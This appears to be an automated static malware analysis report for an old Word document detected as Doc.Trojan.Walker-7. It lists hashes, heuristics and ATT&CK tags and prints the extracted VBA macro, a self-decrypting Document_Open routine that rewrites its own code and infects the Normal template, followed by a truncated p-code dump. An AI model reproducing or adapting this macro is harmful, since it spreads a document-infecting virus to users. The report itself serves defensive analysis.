Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 93b497e57d9709f1…

MALICIOUS

Office (OLE)

31.5 KB Created: 1998-10-30 09:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 27aac2d0bd26323b6dd359fe0269f38a SHA-1: 44cb6e28dd2b615da4034c59e52d3c87ded03cb0 SHA-256: 93b497e57d9709f1384eb31a651c2879016b84759d347a43998db44346c6d62d
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a critical ClamAV detection for 'Doc.Trojan.Walker-7', indicating it is a known malicious document. The presence of a 'Document_Open' VBA macro, along with heuristics indicating macro source code, confirms the execution of malicious code upon opening. The macro employs obfuscation and decryption routines to execute its payload, likely downloading or executing further stages.

Heuristics 3

  • ClamAV: Doc.Trojan.Walker-7 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Walker-7
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10379 bytes
SHA-256: 8b8f1b67a4936b2b68309cc545d3ee080a5d6781431ed313ae3e7708de31dd7c
Detection
ClamAV: Doc.Trojan.Walker-7
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True









































'wEiRd GeNiUs
'Document
Private Function encr(s, k As Integer)
Dim r: r = "": For f = 1 To Len(s): r = r + Chr((Asc(Mid$(s, f, 1))) Xor k): Next: encr = r
End Function
Private Sub Document_Open()
On Error Resume Next: W = 0
WhereAmI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(43, 1)
If WhereAmI = "'NormalTemplate" Then Set Iam = NormalTemplate.VBProject.VBComponents(1).CodeModule Else: Set Iam = ActiveDocument.VBProject.VBComponents(1).CodeModule
With Iam: Z = .CountOfLines - 28: For X = 62 To Z:
If W = 20 Then W = 0
decrypt = .Lines(X, 1): W = W + 2: Y = Len(decrypt): Y = Y - 1: decrypt = Right$(decrypt, Y): .ReplaceLine X + 21, encr(decrypt, (W)): Next X: End With
Call ThisDoc: Set Iam = NormalTemplate.VBProject.VBComponents(1).CodeModule: Flag = 0: GoTo Over
Again: Set Iam = ActiveDocument.VBProject.VBComponents(1).CodeModule: Flag = 1
Over:
With Iam: For X = 83 To 102: .ReplaceLine X, "'": Next X: End With
If Flag = 0 Then GoTo Again
NormalTemplate.Save: ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument: End Sub
'----------------------------------------------------------------------
Private Sub ThisDoc()
'Ml"Gppmp"Pgqwog"Lgzv
'Etthmgepmkj*AjefhaGejgahOa}$9$s`Gejgah@mwefha`
'Ivroihu(PotsuVtirceroih&;&@gjuc
'Gx|agf{&[i~mFgzeidXzgex|(5(Nid{m
'Yo~*Ki~Ikxxcox*7*Ki~c|oNei god~$\HZxe`oi~$\HIegzedod~y";#$IenoGen fo
'_ix,Bc~aOm~~ei~,1,Bc~am`Xia|`mxi"ZN\~cfiox"ZNOca|cbibx $=%"OchiAchy`i
'@G.3.@a|cobZkc~bozk XL^|adkmz XLMac~a`k`z}&?' MajkCaj{bk Bg`k}&:<".?'
'QY0-0QsdyfuT se}u~d>FR@b zusd>FRS }` ~u~dc8!9>S tu] te|u>\y~uc8$"<0!9
'[t2GQsaw:\[;2/205EW[@V2UW\[GA02Fzw|2\}` [|afs~~wv2/2F`gw2W~aw2\}` [|afs~~wv2/2Ts~aw
']r4AWugq<Z]=4(*463CQ]FP4SQZ]AG64Uzp4AWugq<Z]=4(*4664@|qz4Ql}`4Gav
'Kd"WAcqg*CK+"?" %UGKPF"EGLKWQ "Vjgl"CavKlqvcnngf"?"Vpwg"Gnqg"CavKlqvcnngf"?"Dcnqg
'Mb$QGewa,EM-$8:$&#SAMV@$CAJMQW&$Ej`$QGewa,EM-$8:$&&$Plaj$A|mp$Wqf
'O`&HitkOhurgjjcb&;&Rtsc&Ghb&GerOhurgjjcb&;&Rtsc&Rnch&C~or&Usd
'An(FgzeAf{|iddml(5(Nid{m(\`mf2([m|(Afnmk|agf(5(FgzeKizzamz2([m|(Kizzamz(5(Ik|Kizzamz2(Md{m2([m|(Afnmk|agf(5(Ik|Kizzamz2([m|(Kizzamz(5(FgzeKizzamz
']c~b*Ikxxcox0*\cxIeno*7*$Fcdoy";&*$Ie d~ElFcdoy#0*Odn*]c~b
'[exd,Ebjioxecb6,"Hi`ixi@ebi ,= ,"OcybxCj@ebi 6,"Eb i~x@ebi ,= ,Ze~Ochi
'Gh.@a|cG`}zobbkj.3.Hob}k.Zfk`. \k~bomkBg`k.:=".,)@a|cobZkc~bozk,.Kb}k. \k~bomkBg`k.:=".,)Jam{ck`z,
'U~t0Gydx
'Asffw~{fw2d#<"
'Sattelite v1.0
'--------------------------------------------------------------
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
End Sub



' Processing file: /opt/analyzer/scan_staging/82890b1bb4b34cc8902e7b6144da0caf.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6773 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' Line #17:
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' Line #22:
' Line #23:
' Line #24:
' Line #25:
' Line #26:
' Line #27:
' Line #28:
' Line #29:
' Line #30:
' Line #31:
' Line #32:
' Line #33:
' Line #34:
' Line #35:
' Line #36:
' Line #37:
' Line #38:
' Line #39:
' Line #40:
' Line #41:
' 	QuoteRem 0x0000 0x000C "wEiRd GeNiUs"
' Line #42:
' 	QuoteRem 0x0000 0x0008 "Document"
' Line #43:
' 	FuncDefn (Private Function encr(s, k As Integer, id_FFFE As Variant))
' Line #44:
' 	Dim 
' 	VarDefn r
' 	BoS 0x0000 
' 	LitStr 0x0000 ""
' 	St r 
' 	BoS 0x0000 
' 	StartForVariable 
' 	Ld False 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld s 
' 	FnLen 
' 	For 
' 	BoS 0x0000 
' 	Ld r 
' 	Ld s 
' 	Ld False 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$$ 0x0003 
' 	ArgsLd Asc 0x0001 
' 	Pare
... (truncated)